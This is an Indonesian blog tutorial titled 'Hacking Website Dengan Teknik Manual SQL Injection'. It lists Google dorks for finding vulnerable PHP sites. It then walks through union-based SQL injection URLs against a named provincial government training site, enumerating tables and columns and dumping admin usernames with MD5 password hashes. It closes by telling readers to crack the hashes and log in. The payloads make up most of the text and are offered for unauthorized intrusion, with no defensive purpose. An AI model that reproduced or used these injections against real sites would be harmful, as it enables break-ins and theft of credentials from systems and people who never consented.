Hacking Website Dengan Teknik Manual SQL Injection

Pengertian SQL Injection 

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter : 

id=$id;……. > Got Error

Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.


Contoh : 

http://situstarget.com/news.php?id=1’ 
http://situstarget.com/news.php?id=’1

Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.

Dork SQLi :



inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1


Screenshot_1.png

Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.

http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error

Screenshot_2.png
 
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error


Screenshot_3.png

Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.


Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--


Screenshot_4.png

Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.


Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--


Screenshot_4.png


Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--

Screenshot_5.png

Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal smile silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--

Screenshot_10.png

Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah  +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--

Screenshot_11.png


Nah kan udah keliatan username dan passwordnya.. smile dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet biggrin


Saya kira hanya begitu saja, kurang lebih mohon maaf.. kalo ada kesalahan mohon diperbaiki smile wassalam :*

Artikel Terkait

Previous
Next Post »